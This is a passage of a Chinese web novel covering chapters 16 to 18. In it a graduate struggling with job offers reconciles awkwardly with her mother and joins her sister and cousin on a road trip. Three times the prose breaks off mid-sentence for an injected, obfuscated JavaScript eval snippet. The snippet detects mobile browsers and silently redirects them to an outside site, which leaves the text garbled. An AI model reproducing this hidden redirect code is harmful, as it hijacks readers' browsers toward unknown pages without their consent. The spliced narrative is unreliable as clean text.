八块钱的鞋子,管脚受多大的委屈能走路就行。八十块钱的鞋子垫垫后跟,脚也能凑合。八百块钱的鞋子磨脚,现在飙到一千八了,要不要将“升值”奉为圭皋,要供起来,鞋油又厚裹着几层?然后又去想,也就八百块钱的鞋,最多算得上质量稍好,买来就是要穿的。 映年没什么“正式场合”的鞋子,皮靴大多情况都用在求职情况,六级考试时刚开发了踩水坑的作用,偶有下雨时会用到它。 面试官会不会因为她的鞋价高看她一眼?不如是看出这鞋子升值,看出她的“投资”眼光来得更好。 升值的就不是鞋子,是她了。映年奇怪地想。 可这样,她不得不忍受磨脚之痛,来证明自己的水平。靠一双鞋子证明。 一双她未能“驯服”的鞋子证明。 室友聊着聊着,一号床私聊她,问二中的面试怎么样了。 怎么样?映年基本不会给同学讲家里的事情,面试的事情,自然也不会讲。 映年这两日还在重投简历,招聘软件都刷烂了,至于体检短信,她还没回。 映年:不想去。 一号床:不是信誓旦旦说要洗刷耻辱吗? 一号床:真不行,你要回来上班,可以直接内部进来啊。 映年:让我思考一下。 当初辞职走得果断,现在回去,可能惹得笑话。总比进二中被老师另眼旁观好吧。这样想,也不是不能接受了。 一号床在那头沉默一会儿。 一号床:有人想举报辅导员。 映年:怎么了? 一号床:就业信息给她填了一个公司,新开的公司,人家还在择业呢。 一号床:你二中的面试怎么样? 映年翻看学籍网,就业那栏已经不是待填了,是一个她不知道的公司。 她先是松了一口气的感觉,至少辅导员不会打电话来过问她是否考上,又觉得这念想荒谬,愤怒感上涌,但更多的是无能为力。 举报吗? 真考上了,可能还得去求辅导员。 _ 餐桌上摊开城市地图,可擦笔在上面轻轻画着路线。 祁孝逑正在给咚咚和昭岁出主意。 “这些地方的司机之家可以洗澡,住宿的话,看你们吧。”祁孝逑轻轻圈了几个地点,“条件一般,不如睡帐篷,能到市区住酒店最好,安全第一。” 司机之家的配套齐全,相当于酒店了。因为大多免费,所以人员流动多,祁孝逑话就点到为止了。 这趟出行是为了体验,不是省钱,严苛的流程在行路时,住宿并没指标。 昭岁点头,同步在手机地图上。 这趟出行是为了体验,不是省钱,严苛的流程在行路时,住宿并没指标。 咚咚问:“桂花糕来这住哪?” 话刚落,昭岁手在桌下轻轻拧了一下。 “家里啊。”祁孝逑说了,又面朝着昭岁,“你看,尽学你乱叫。” 咚咚不以为然,腹诽大姨父不在的时候,我们都这样叫,人回答得顺口得很。 有开门声。 转头过去,大门打开了,齐美裳踏进来。 咚咚叫了声“大姨”当招呼,见人走过来,正想问,昭岁打岔先说:“大姥姥回了吗?” “回去了。”齐美裳在脱鞋,后面的话是对咚咚说的,“三姥姥今天有事吗?电话她没过来,之后想去看的话,电话我带她过去。” 刚想说床位分配的咚咚哑了声。今天三姥姥下午本来有事外出,咚咚以为是她去跳广场舞,央她回来一起出摊,好让三姥姥能把车开回去。 齐美裳看了一眼咚咚,再转向昭岁,最后问祁孝逑:“映年回来了吗?” “屋里呢。” “噢。” 齐美裳朝映年房门去。 视频里,以歌在隔音室打鼓,棒槌轻轻巧巧地敲在鼓上,肢体随着音乐律动。 半个调子结束,她坐下来,对着手机问。 “怎么样?” “不错。”映年给不出什么建设性的建议,她很在意另一点,“你多久回来?” “就算参加综艺,也得到八九月了。”以歌说。 八九月啊……还有这么久。 以歌没聊几句,又开始打鼓。 身后有人敲门。 映年没反应过来,响了几下,才察觉。她把麦克风和免提关了,起身走到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016301|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门前。 打开来,是齐美裳。 “休息了吗?”齐美裳在往里望。 “没。”门只开了一个缝,映年能听见客厅三人的讨论声,她看站着欲言又止的齐美裳,敞开门让人进来了。 进屋,齐美裳坐在映年的床沿。 映年则把手机拿起来,挂断了视频,给打字给以歌说要事。 “滑板可以放在鞋柜里,定制的给你做了挂的。”齐美裳目光在新买的那个板上。 “噢,嗯。”映年是应下来,没动的打算。 “咚咚来家,你贵发哥也过来了。” “是,我碰见了。” 映年转动椅子坐下来,斜对着齐美裳,拿着手机无须划拉,等待她的下文。 “我看名单上有你。”名单自然指的是招聘录取名单。 “我拒绝了。”映年说着,打开手机上短信,距离回复逾期还有两个小时。 “噢,噢。”齐美裳音调又高转低,她低头抠着拉链,嗫嚅,“妈错了。” “没事。” 映年想不到该说什么词,齐美裳愿意来道歉就算是好结局了,同时,这份话题就到这为止。 当下的话题也结束了。 映年松了一口气。 齐美裳却没起身的打算。 客厅里,祁孝逑见齐美裳进屋,心不在焉地看着地图,眼神往映年门口瞟,关注着那边的动向。 “怎么了?”昭岁注意到。 “嗯……”祁孝逑回神,胡乱应着。 咚咚还是心有不甘,心头憋不住,她便再次问了:“桂花糕住你们家吗?” 祁孝逑没答,先看了昭岁一眼,视线再转向咚咚:“对。” 咚咚刚想继续说,被昭岁又捏了一下肚子,她躲着站起来,还是说出口:“昭岁不想把房间让给桂花糕。” 带咚咚回家,昭岁没有让她替自己“打抱不平”的意图。家里住处就这么大,她不想让齐美裳为难,真是让自己的受点委屈,她就受点委屈罢。 映年房间内,母女二人坐着,没人再说话。 齐美裳有事要讲,映年就等着,手机打开招聘软件,去看有没有新的消息。 有公司回复了她的消息,约谈面试时间。 “你等会儿给我上药?”齐美裳问。 “可以。”有了下午的上药体验。这话不至于那么难开口。映年想,不是讲择业的事情就行。 齐美裳欲言又止。 可她还是站起来了,映年也站起来,好似送客一样跟在她身后,见她止步,映年也停下来。 还是要说了吗? 映年无奈,先发制人:“以后我房间自己打扫就行了。” 齐美裳刚想开口,蓦然噎住,愣着“嗯”一声,又往前走。 临到门口,齐美裳握着门把手又停下来。 咚咚的话出口,昭岁深吸一口气,盯着祁孝逑。 搁下手里的笔,祁孝逑拿着茶杯,喝一口笑着对昭岁说:“不是啊,贵发和我睡。” 家里就三张床,余下还有沙发。让客人睡沙发,不是齐美裳的待客之道。明天昭岁要出发,讲好要去咚咚家住,床就空出来了。齐美裳本计划着她去昭岁的床上睡,腾出位置让桂花糕和祁孝逑同住。 哪怕就一晚,齐美裳也不可能让桂花糕住昭岁房间。 现在咚咚过来住,自然和昭岁共寝,齐美裳不得不去找映年。 “今晚妈妈能和你一起睡吗?”齐美裳不自在,“你贵发哥今天过来,暂时住咱们家。” “我睡相很差的。”大姥姥每次都嫌她睡相差,只肯哄昭岁睡。 “那我睡沙发吧。” “不是,”映年心知她会错了意,“你不介意就行。” “我还是睡沙发吧。” “要睡沙发也轮不到你,”映年想起下午球场时遇见的窘境,“让桂花糕睡那。” “那怎么行?我们去你五姨家里,人家可是把租房都空出来,特意……” 见映年的脸色暗淡下来,齐美裳的话止住了。 映年不懂齐美裳为什么一定要这么规划,桂花糕去住酒店是最好的安排,真要住下,睡沙发也行。还是说的,真如昭岁所言,这是一场苦肉计。 映年说:“你来的时候,带个枕头。” 17. 第 17 章 昭岁守在门口,见齐美裳出来,贴上去,放低声音悄悄问:“桂花糕和爸爸一块睡?” “对。” “我走的时候要把房门锁了。” “不会住你屋的。” “他来这么早干嘛?” “少问。” 没得到问题的回答,齐美裳的承诺够了,昭岁心满意足。餐桌上的地图已经收起来了,她跑到沙发上,正在连游戏机,拿着手柄和咚咚一起玩赛车游戏。 科目二的s弯过不了,赛博赛车漂移,昭岁可是很擅长,咚咚被她甩得看见一个小小的尾巴。 她们玩得热烈,咚咚偶尔还会哀嚎两声。 隔音不好,映年听着动静,把手机掏出来,去听以歌打鼓。 有购物软件的推销大促信息进来,把通知短信压在了下面。 映年重新点开,逐字逐句地看,又退出来,靠在椅子上,闭目半晌,重新打开再看一遍。 鼓声停了。 映年点开视频栏,正在移动,视线里是行走中的脚。这双鞋她一眼识得,沈烟就喜欢碎花绑带的装饰。 沈烟停下来,把手机架在厨房的岛台上,视频里只能看见她的腰:“这事不能怪你妈,她就是做了多余的事情。我要操心,也可能这么做。” 映年知道,沈烟就说说而已。以歌逃课被严重警告时,沈烟从未出面过,第二次收到警告电话时,直接给以歌办了休学,让她专心唱歌。沈烟是贯彻着自由,不然也不会在五十岁的年纪出国读书。 到厨房,以歌拿着筷子在敲,敲在碗边上,又去敲锅盖,轻轻巧巧的落下来,发出富有节奏的声音。她没参与话题,只是帮沈烟打下手。 沈烟问:“你想去吗?” 映年说:“想去,也不想去。” 想去,是能解决就业的燃眉之急。不想去,理由可真太多了。没有非这不可。 “考上了为什么不想去?” “这搞得太尴尬了。” “有什么尴尬的,你不是凭本事吗?再说,正好是那个老师下学期退休。”沈烟在切牛油果,放在考好的两片吐司上面,又去磕两个鸡蛋,“不想去,那为什么报名?” “……” 不知沈烟是有意还是无意,这话是揭穿了映年的狡猾。 音乐公司本身有问题,后续的录用名单压根没有映年,这是后来映年收拾东西的时候知道。可齐美裳不清楚就冲了,并不清楚这个前提,不能为结果论,按先后顺序的确是齐美裳莽撞。 二中呢? 映年本纠结的是合同工的属性,报名的因和录取的果都是她摘得的,齐美裳不过是推波助澜,到底还是映年自己的选择。 她急需一个祸事的出口,将责任悉数扔在了齐美裳身上。如果没有齐美裳这番举动,她现在是哪样依旧是哪样。 映年想,她真有些厚脸皮的坏,一定要让齐美裳背锅,这样彼此才好过,是吗? 沈烟说:“不想去那就不去,多玩一阵,想好了再继续。” 多玩一会?映年很少有停滞的时期。 以歌在炒鸡蛋,“滋滋”的油声掩盖住沈烟的说话声,她把盖子扣上,安静了些。等待之余,又拿着黄油刀试探着在敲锅盖的中心,延申到边缘,试着音符。 这是常态,但映年发现不对劲,平时以歌是不吃鸡蛋的。这里有两份。 “烟姨你恋爱了?”映年心头慌,如果沈烟进入下一段恋爱,她应该以怎样一个身份与沈烟保持联络呢?现在的关系,本就因为距离渐渐变淡了。 “没有,贝斯手的儿子在家里住几天。”回答的是以歌。 “他住哪?” “睡袋里,客厅躺着。” 映年垂眸,长吁一口气。 门被敲响,映年以为是齐美裳,喊了声进,没动,外头桂花糕在说话。 开门时,桂花糕已经不在门口了,他在餐桌上摆开打包好的饭菜。 “快来,大脸猫道歉给你买的。”桂花糕招呼映年。 餐桌上都是打包好的夜宵,一大盘清蒸小龙虾在中间,外围摆着的是些凉菜,还有卤煮。 这品类丰富,绝不是饭后打包的。至于是不是大脸猫道歉买的,映年要打个问号。 更让映年觉得疑问的是大脸猫道歉本身。如果是对于是否饭局的争执,她不认为彼此的立场有什么问题。 洗手时,昭岁被咚咚弹了一脸的水,追着出来想撞她。咚咚闪身一避,昭岁刹不住车,撞上了站在走廊的映年。 映年一个趔趄才稳住身形。 姐妹俩对视。 映年:“……” 昭岁:“……” 映年:“当心点。” 昭岁:“噢。” 大伙落座,齐美裳还在洗澡,没人动筷。 咚咚和昭岁还在讨论行程,映年无聊地翻着招聘软件,心头还是在纠结二中的事情。祁孝逑拿了点酒出来,他本人不喝,家里坛子都是齐美裳泡着的,偶尔会喝。夜宿那晚,映年就注意到齐家的酒坛子了。祁孝逑倒了一杯,昭岁和咚咚也想要,祁孝逑便把桌上全部杯子都倒上了。 齐美裳从洗手间出来,昭岁连忙招呼她来吃夜宵。走过来,齐美裳还在和那头聊:“行,孝逑送去挂号。” 落座挂断电话,齐美裳拿起筷子,示意开吃。 桂花糕的俩行李箱,一个全部是齐美棠装的是礼物。他拿了个四个包裹出来,一个给映年,另外三个给咚咚。 咚咚、三姥姥、齐美玉各一个。 “美棠专门带给美玉的。”说话的是齐美裳,“她那头忙,不一定能回来,先把东西带到。” 咚咚只接了自己的,她说:“给大姨吧,让她代五姨一并送来。” 桂花糕看向齐美裳,对方又看一眼咚咚,接下来了。至于给三姥姥的,咚咚明日不回家,桂花糕收了回去,改天登门去送。 礼物投其所好,齐美棠挑选得很用心。送给咚咚的是一个稳定器,估摸着知道她拍视频工作的事情,咚咚很是开心。映年的礼物则是运动耳机,这价位和稳定器差不多。 齐家这辈在鹊市的还有三个小孩,礼物盒子也剩三个。齐美棠在人情关系上的维系,比齐美裳多些,家里长辈评价也是美棠更会来事。 可昭岁想,大姥姥住养老院前都是齐美裳在照顾,进了养老院奔波来去的还是齐美裳,这素日的关怀,怎么就一点小恩小惠就比过去了? 咚咚用胳膊肘去捅昭岁:“给你的什么?” 昭岁正在瞄映年包裹呢,说:“模型。” 要算礼物,映年的耳机是万金油的礼,怎么送都不至于多难接受。 齐美棠多少年没见映年了,至多能在齐美裳这打听映年,能了解多少。或者说,齐美裳心头不认可映年酷爱的滑板,连同齐美棠都没讲。 这点,映年也有感召。 便听桂花糕感叹:“大脸猫说速降那人是你,要不是今天在场地碰到你,我还真不敢信。” 相同感叹在映年遇见老同学时,早听过了,映年的回答是一句反问:“不信什么?” “就,”桂花糕哽了一下,“没想到是你。” “那你的想象力太匮乏了。”映年说。 桂花糕一时之间没话说。 在映年这没找到话题,桂花糕加入昭岁去谈路上的突发情况。 映年喝酒的时候,她发现齐美裳盯着她。待她目光过去,齐美裳立马把头偏过去了。 桂花糕讲南北差异的事情,偶尔齐美裳打断,问美棠对这饮食习惯不,又说还是鹊市好,说着说着,目光瞥向昭岁。 在聚餐时刻,映年多数是倾听者的角色,这次也不例外。餐食夜宵多是肉,映年能下筷的少,她独揽了土豆,没吃多少,分量比堆成小山的虾壳更撑。 她在想一会儿离席先去洗澡。 昭岁坐在她身边,把烧烤的豆皮串推过去,说:“我记得你爱吃的。” 俩人一块吃过烧烤,昭岁是记下来了。 映年却在想,那会儿为什么要和公交车俱乐部的人一块去吃饭?今个儿大脸猫的邀请,不也是一群陌生的球友吗? 为什么?映年在想,为什么。 她囿于聚餐的好与不好,小口小口地吃着豆皮,辛辣的小米椒肆虐舌尖的,短暂的痛,令她大脑孤悬紧绷的信号失灵,有种麻痹又惊喜的爽感。 一时间,映年羡慕起刚才昭岁与咚咚的玩闹。 咚咚也察觉到了映年的喜欢,把对面的豆皮也一并推到映年面前,还并着让她尝尝海带结。 映年突然生了一股冲动。 此刻,就要此刻。 映年:“明天我想和你们一块去。” 昭岁:“啊?” 映年:“可以吗?” 咚咚抢答:“当然,就差你了!” _ 编织袋塞进整个睡袋,装了些衣服和装备,满满当当。上次搬宿舍磨掉半个绳子,齐美裳本打算给映年缝起来,映年拒绝了,认为没有必要,她不带行李箱,就是路上遇见运动品牌店,就能买个登山包,把袋子扔了。 映年上床时,齐美裳正眯着眼在看书,凑近去看,哪是书,是志愿填报指南。 母女二人自分别后再没同床,眼下齐美裳“求着”要的同她一块睡,在床上,又在为昭岁的未来做打算。 映年心头不免泛酸,但觉得这种酸不必要,或许齐美裳看着她的速降视频,也是忧心忡忡的模样,出于担忧,出于害怕。 可就是无可避免。兴许一起长大的话,就不会这样吧?她自嘲着又把责怪归给了时间。 “关灯了?”映年问。 “好,早点睡吧。” 齐美裳把书本合上,放在床头的位置,人躺下来。映年也躺下来。 两人盖的一床被子。 应该睡下的,明天约定的是早上七点出门。 但映年睡不着。 映年有点别扭,十多年她都是一个人睡觉,哪怕是和以歌关系最亲近的那会儿,都没到同睡一张床的时刻。 同时她觉得这份别扭很别扭,同床躺着的,可是她的母亲。 “我刚听见你在和沈家姐姐打电话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016302|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”齐美裳突然说。 原来齐美裳没睡。 “嗯。” “她们对你好吗?”齐美裳说着,没等映年回答,自问自答,“不好的话,哪会现在还打电话。” 映年沉默没说话。 她盯着天花板,脚弯着稍稍动一下。 “你过得好吗?这些年。”映年也问。 “还行,去年累点……”齐美裳似在思索,吁一口气吐出来,“都过去了。” 刘海洋没撑过上一个冬天,有这场逝去在,齐美裳没法如同祁孝逑那般,轻松地讲起“一家再次团圆”的喜讯。 齐美裳喃喃:“你刘叔挺好的,可惜上次没给你好好介绍……” 映年对刘海洋的印象不深的。去年的照面,才深秋,刘海洋就穿上了薄羽绒服,整个人高高瘦瘦,做饭时还会唱歌。照时间算,那会儿刘海洋的病已经发作过,只是出院回归了生活,齐美裳也隐瞒这事。 刘海洋不到五十,遗传病就发作迅猛,治病如流水,哗啦哗啦流。祁孝逑知道,打了一笔钱给齐美裳。沈烟当时不清楚,还和祁孝逑大吵一架,去问用途。这事祁孝逑本是瞒着不说,沈烟好生气,她手段多,还是知道了。 映年以为这联络得断掉了。和以歌一起转场跑乐队时,才听到她说,沈烟帮着齐美裳去约专家见面。 这件事,映年回想起来都觉得奇怪。 明明是自己起的头,到齐美裳说起了刘海洋,映年又不太舒心。 映年:“我要睡了。” 齐美裳默了一会儿,说:“好,明天精神点。” 说要睡,映年闭着眼睛没动。 半晌,身旁传来齐美裳浅浅的鼾声。她听着,觉得安心,在对方翻身腿触碰来时,膝盖碰到了映年的大腿,她猛地往后撤。 头发被凉席吃了,这一下,映年感觉头发痛,只能又轻轻撑着身子去扯头发。 映年头发细软又多,平时扎起马尾,虎口握圈都抓不满,她轻轻撤离,背越来越往床边贴,最后半个人悬在床沿。 她干脆腿向下探踩住,翻身下了床。 刚站起来,就听见齐美裳的声音。 “映年?” “嗯。” “你干什么?” “上个厕所。” “好。” 齐美裳没声响了,映年轻手轻脚出去。 客厅灯还亮着,桂花糕坐在沙发上,手里拿着游戏手柄,电视上是赛车游戏,音量调成了静音。 噢,刚才昭岁和咚咚就在玩这个啊…… 她还不知道家里电视机有这游戏。 桂花糕看见她,主动说:“叔叔里面在洗澡。” 映年“嗯”一声,进了洗手间。齐美裳把她私人物品挪到了外面的洗手间,一排排都是护肤抗衰的,装在一个透明的防水袋子里。 紧挨着的是映年和昭岁的牙刷。 至于洗脸护肤的东西,姐妹二人似约定俗成一样,都放在自己的房间。 方便完出来,映年想回屋,被桂花糕一声叫住。 桂花糕说:“大脸猫还过意不去呢,她怕你不理她了。” 又提大脸猫抱歉的事情。映年是真没觉得该怪谁,各自选择而已。 映年道:“她道歉还送这么多龙虾?” 桂花糕语塞,他是不清楚映年的素食偏好的。 映年又说:“我们的事不用你处理。” 映年都忘了是什么原因看桂花糕不爽的,小时候就关系不好,分开这么多年再遇见,不是亲戚关系的话,可能连话都不会讲两句。 桂花糕来帮说和,是没料到映年这般冷,讪讪笑了两声,见着电视里的赛车冲出赛道,不断在海里刷新。 映年瞥一眼,开门进屋了。 再次轻手轻脚躺下来,她眯了一会儿,又翻身去拿手机。 大脸猫没消息,映年点开大脸猫的资料,朋友圈也是从前发的一条。熄了屏,重新放回了床头柜。 过了会儿,齐美裳又问:“空调定时了吗?” 映年不厌其烦:“嗯,四个小时。” 齐美裳:“好。” 没声了。 映年正躺着去听齐美裳的呼吸声,她不敢侧身,怕真转身就正对着了齐美裳。映年眯着眼听着,她私心是期待齐美裳讲点什么的,又怕齐美裳讲的话让她心堵,还是不要讲什么好。 就像两次干巴巴的擦药,母女二人在缄默中完成。 齐美裳再次道:“妈妈记得你以前喜欢吃甜皮鸭的。” 还真说了。 映年沉默,装作睡着了。就这样闭着眼睛,没过一会儿,她是真睡着了。 迷迷糊糊间,映年感觉到床位轻了。 她唤道:“妈?” 齐美裳:“嗯。” 映年:“你干嘛?” 齐美裳:“上厕所。” 映年“嗯”一声,睡过去,不多时,又感觉到动静。 她再次唤:“妈妈?” 齐美裳借着帮盖被子的动作,虚虚搂了一下映年,答道:“妈妈在。” 18. 第 18 章 这一觉睡得不踏实,映年总担心睡相不好,踢到齐美裳,她只能在半梦半醒间不断调整睡姿,好规规矩矩地躺着。 早上天亮没多久,她就爬起来了。 穿衣服时,齐美裳已经不在了。齐美裳恪守什么时间做什么事情,每天的作息健康,就连映年偶有犯懒的时刻,但齐美裳非客观条件影响,几乎不会影响。 她会在六点准时起来晨跑,中午固定午休,晚上十点前上床睡觉。像昨天那样晚睡,也不会影响她的早起。三姥姥前两天来家里一趟,就顺走了齐美裳跑步时的护膝,说要跟着一起运动。 映年先一步刷牙,刚吐出来,齐美裳跑完步已经回来了,牙刷扼住了口腔的音节,只能用气音道了一声早。映年刷完牙回房间给把编织袋搬了出来。 现在还没到约定的时候,她坐在沙发上又眯了一会儿,齐美裳收拾完出来,问她吃什么早饭。 映年:“等会她们醒了一块吃。” 齐美裳:“门口红牌那家糖包子好吃的。” 就是刘海洋从前那家门脸。 映年愣了一下,点头:“嗯。” 齐美裳:“我给你带回来了。” 映年:“好。” 话又没了。 包子放那,映年没吃的打算。 映年注意到齐美裳洗头了,怪不得刚在洗手间这么久。齐美裳是个齐耳的短发,头发染了淡棕色,吹完头发泡泡的,显得脸很小。 家里洗手间有两个,可水压就支持一方热水器。桂花糕的来访真是压缩了本该的洗澡时间,齐美裳成了牺牲的那位,挪到早上洗头。 映年收了手机,昨晚的游戏手柄还在茶几上。映年没玩游戏的乐趣,空余时间更多是在运动中消磨,她拿起来握着,觉得新奇。 “之前家里添的,还能用就又接上了。”齐美裳打开了游戏机,又点开电视,“你平时休息也能玩。” 齐美裳不是会买游戏机的人,这价格也不低,是谁买的不难猜。尤其是开屏最顶上的赛车游戏,下方栏榜首名字是“大海”。 第二名叫“绝不拔牙”,分数距离很近,还差五秒就能超越。 映年:“我现在想玩。” 齐美裳收到讯号,语气雀跃了几分,她坐下来,拿起另一只手柄:“那我开一局,我们竞速。” 母女俩很少一起玩耍。是少,也是分开了没机会。映年一向是懂事的,不用齐美裳再夸。她从小长大就省心,哪怕是“吃素”,也没耽误映年个子生长。年轻时想,如果昭岁那好管教就好了,现在又想着映年平平淡淡的,为什么不撒娇。 这之中,是真难弥合了。 齐美裳的“绝不拔牙”一骑绝尘,拉了映年的“爱吃流食”大半圈,一局下来,映年连跑到终点的机会都没有。 玩了两局,齐美裳故意失误了几个弯道,让映年的车能追上。映年追得用力,真就超过了齐美裳,看到个人记录刷新时,映年高兴得站起来,情绪刚起来,又立马察觉到不对。 坐了下来,把手柄放在桌上。 她说:“我不需要别人让我。” 齐美裳说:“妈妈又不是别人。” 映年重复:“那也不需要谁来让我。” 齐美裳默了一瞬,小心翼翼问:“那还玩吗?” “……玩。” 这算是放假后的第一次早起,昭岁苏醒得异常艰难。 昭岁眯着眼睛踢了两脚咚咚,在对方的回蹬下,坐了起来。穿好衣服出去,她瞧见客厅里赛车的母女二人。 昭岁很无语映年取的名称。 洗漱时,齐美裳进来要用洗手间。她腾出位置,但没走,留在门口,等齐美裳出来。 昭岁还是不放心,毕竟齐美裳出尔反尔的情况不在少数:“我走了,他不会睡我床吧。” 齐美裳弯腰洗手,把昭岁刨开,紧贴着穷追不舍问。 齐美裳说:“不会。” 这答案的没能让昭岁彻底满意,她又问了几遍“真的吗”。 “他来这么早就是割痔疮的,过两天就躺医院去了。”齐美裳受不了,“你五姨她们忙,没时间照顾,请护工又不愿意,最后找你姥爷来伺候。” 昭岁“啊”一声惊住,回想昨天还在抱怨为什么都是清蒸小龙虾,又想齐美裳的确在说挂号的事情,这会儿算是明白。 终于宽下心来,昭岁紧贴着墙面,刚开始还是细细在笑,又憋不住笑得发抖,齐美裳走出来,拍她一掌,不满她这表现。 倒打一耙的是昭岁,她包住笑,一副义正词严的模样:“别人隐私,你怎么能乱说呢?” 齐美裳无语:“刚才谁在问我?” 这反问突然让昭岁想起,从前被齐美裳“背叛”的日子,但凡和齐美裳共享了秘密,秘密将不再是秘密。 她同情起桂花糕来:“问你你就说嘛?” “说了你这样,不说你又问,你想我怎么样?” 昭岁一时语塞,她也觉得自己无理取闹,可依旧不认输:“你就不能找个其他理由吗?这种多尴尬。” “你这孩子……怪我行了吧。”齐美裳抬起掌想拍昭岁的肩膀,被错身躲过,她手悬在空中,收回来拍在自己肩膀上,语气烦躁,“到底要怎么做才能让你满意?” 昭岁很烦齐美裳这种自怨的态度,可这事议论,还是自己得了巧,没再反驳。 咚咚不知何时出房间,走了过来。 母女二人彻底哑火。 刚吵了一会儿,出发前,齐美裳还是又往昭岁侧栏塞了两罐果干。 “和你姐、咚咚分着吃。”齐美裳说,“把我存快捷键,有事随时打电话,不想走了就讲一声,给你定高铁票回来。” “你记得把我房间垃圾倒了。”昭岁本来是弯腰在穿袜子,刚塞进一只,还是忍不住站起来,抱住齐美裳,她想说些宽慰的话,到嘴边,话又带着挖苦,“我还以为出这趟门,会被刮一层皮。” 齐美裳唇动动,想说什么,却什么说出口。 咚咚收拾完自己,拉着映年,钻进房间里拍出发用品,说是都拍过。 映年拒绝,这编织袋快要爆破了,真怕再拉开合不上。咚咚不依不饶,让步让她口诉,映年凭着记忆对着镜头讲了些物品。 她突然想到:“要不我再带个电脑?方便剪。” 咚咚会意,说:“不要,去网吧拷出来就行,我带了个移动硬盘,回来再剪。” “你这沉默成本有点高,万一没爆……” “本来不是一定要视频,视频只是记录。”咚咚打断她,“主要是为了前往。” “对不起。”映年察觉到自己的失言。 咚咚笑,没放在心上。 _ 家门口的公交车坐的首班车。 位置挺多,映年睡眠不足,她一口气喝完豆浆吞了馒头,就靠着椅背就在睡。昭岁和她坐在一起,等咚咚回头来想和二人说话时,就见着映年的脑袋搭在了昭岁肩膀上。 可惜这趟只有二十分钟,她们就要下车步行。 映年稍微有些不好意思,见昭岁没说,她也不提。对比登山包,映年的行头麻烦许多,编织袋不如背包方便,只能拎着,又垮了一个滑板包,她刚下车就开始后悔今天穿的那双皮靴。 到底在较劲什么? 用升值的一千块来驯服自己吗? 这一带昭岁很熟,她是没搭导航,凭着印象在带路。 见映年搬行李的费劲,她说:“要不先坐车去那边商超,买个登山包?” 旅行的宗旨:非必要不走回头路。何况才第一天出门。 映年果断拒绝。 计划依旧施行。 映年问起在意的事情:“妈妈拔牙了吗?” 昭岁有点不自在,她还是说:“拔了。” “那昨天说要挂号是咋了?”映年看过齐美裳肩膀上的伤和病历单,没到恶化要再次挂号的程度,至于祁孝逑年年体检,身体健康,她想不出有什么问题。 昭岁又悄悄咪咪笑起来,低头凑到二人身旁,压低声音说:“桂花糕长痔疮了。” 说完,昭岁似是抑制不住,抱着胸笑,身子在抖,发现咚咚正盯着她。 咚咚说:“你不也往外说吗?” 昭岁愣一下,反应过来,是咚咚早间听到了谈话。这话,就是在说昭岁也不是一个能守住秘密的人。咚咚本就是一脸憨厚的劲儿,问出这话也不如映年的气场,看起来温温吞吞的, 昭岁没被唬住,她反而问:“干嘛偷听?” 说完,昭岁似期待般寻找站队的人员,看向了映年。她说这桂花糕的事情,是本着有意讨好映年的心思,这样把桂花糕的窘态开涮,能缝合些映年的关系。 按关系来说,映年是和桂花糕最生分的,说生分都太浅,可能是单方面不爽感。 可映年没如她一般笑。 “这和痘痘一样正常,有什么区别呢?”一旁的咚咚率先说,指向昭岁脸上新冒的痘,又抛出问题,“为什么你会觉得大姨不刮腋毛,让大姨父去刮,是浪费呢?” 昭岁一下哽住,笑僵在脸上。 不是齐美裳有恙,映年松一口气,她又关心的另一件事:“他要是住院,妈妈的性子,得腾好些空闲时间跑医院。” 昭岁脸更黑了。 这算什么?这俩显得她多么无理又阴险。 她说:“我妈当时为什么拔牙?两个人打赌,我爸赢了赛车比赛。” 这种较劲的回答更像是对映年的报复。 果然,僵硬了转到映年的脸上。 扫兴的余温留到持续了一天。 早高峰三人背包上车,昭岁和咚咚尚能空出手来握紧扶手,映年就有些吃力了。 人多太挤,她怕把包放在地上让人踩坏了,只能提着,可又背了个滑冰袋子,还得抓扶手,实在费力。 映年刚屈膝用膝盖撑着,想换手来拎时,感觉重量轻了些,编织袋上有一只手。 涂了亮闪闪的粉色指甲,是昭岁的手。 看过去,昭岁侧对着她,带着耳机闭目,没理会她。 撑着编织袋的那只手没已移开过。 挤到中午,下班车就要去县城,三人寻了家店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016303|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面吃饭。昭岁自顾着生气,只点了一碟炒饭,又分桌坐,结账也是率先支出。 咚咚不管她,和映年坐在一起,用手机一起查看晚上该定什么酒店。 映年再提起编织袋的时候,听到线头“刺啦”响,去查看,没找到哪有问题。真该早上去换一个的。 这附近也没有运动包的店,她只能先一步用完餐,跑去日用店又新买了个备好。 下午要转两趟车,去县城的薰衣草基地,参观完留宿,明天再下一程。 没想到中途公交车电池故障,三人换车被迫又等了半个小时的班次,飞奔到基地门口,恰恰到了闭园时间。 三人正对着关闭的大门面面相觑。 好在酒店就在景区的不远处,可以先把行李搁下再四处逛逛。 